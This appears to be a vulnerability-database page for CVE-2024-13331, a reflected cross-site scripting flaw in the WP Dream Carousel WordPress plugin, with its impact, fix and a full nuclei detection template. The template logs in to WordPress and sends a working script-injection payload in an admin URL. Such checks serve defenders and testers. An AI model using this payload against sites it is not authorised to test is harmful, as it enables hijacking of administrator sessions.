HexBrain

Browse / CVEs / CVE-2024-13331

CVE-2024-13331· neoloki / wp dream carousel· CWE-79

WP Dream Carousel < 1.0.1b - Cross-Site Scripting

mediumseverity
6.1CVSS score
0.6%likelihood of exploitation, next 30 days
49%of all CVEs are less likely
Readycheck to confirm it

WP Dream Carousel WordPress plugin < 1.0.1b contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute arbitrary scripts in the context of high privilege users, exploit requires victim to load a maliciously crafted URL.

Impact

Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to account compromise or data theft.

Fix

Update to version 1.0.1b or later, where the vulnerability is fixed.

How to confirm it

Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in")
Send: GET /wp-admin/edit.php?post_type=wp_dream_carousel&"></script><script>alert(document.domain)</script><script>=1"
Positive when: contains_all(body, "></script><script>alert(document.domain)</script><script>", "wp-dream-carousel") and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-13331 -u <target>

The full check
id: CVE-2024-13331

info:
  name: WP Dream Carousel < 1.0.1b - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    WP Dream Carousel WordPress plugin < 1.0.1b contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute arbitrary scripts in the context of high privilege users, exploit requires victim to load a maliciously crafted URL.
  remediation: |
    Update to version 1.0.1b or later, where the vulnerability is fixed.
  impact: |
    Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to account compromise or data theft.
  reference:
    - https://wpscan.com/vulnerability/6425ccff-2e18-4498-b8b1-d493286efc7b/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13331
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13331
    cwe-id: CWE-79
    epss-score: 0.00584
    epss-percentile: 0.48234
    cpe: cpe:2.3:a:neoloki:wp_dream_carousel:*:*:*:*:wordpress:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: neoloki
    product: wp_dream_carousel
    publicwww-query: "/plugins/wp-dream-carousel/"
  tags: cve,cve2024,neoloki,wp-dream-carousel,wordpress,wp,wp-plugin,authenticated,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/edit.php?post_type=wp_dream_carousel&"></script><script>alert(document.domain)</script><script>=1" HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "></script><script>alert(document.domain)</script><script>", "wp-dream-carousel")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from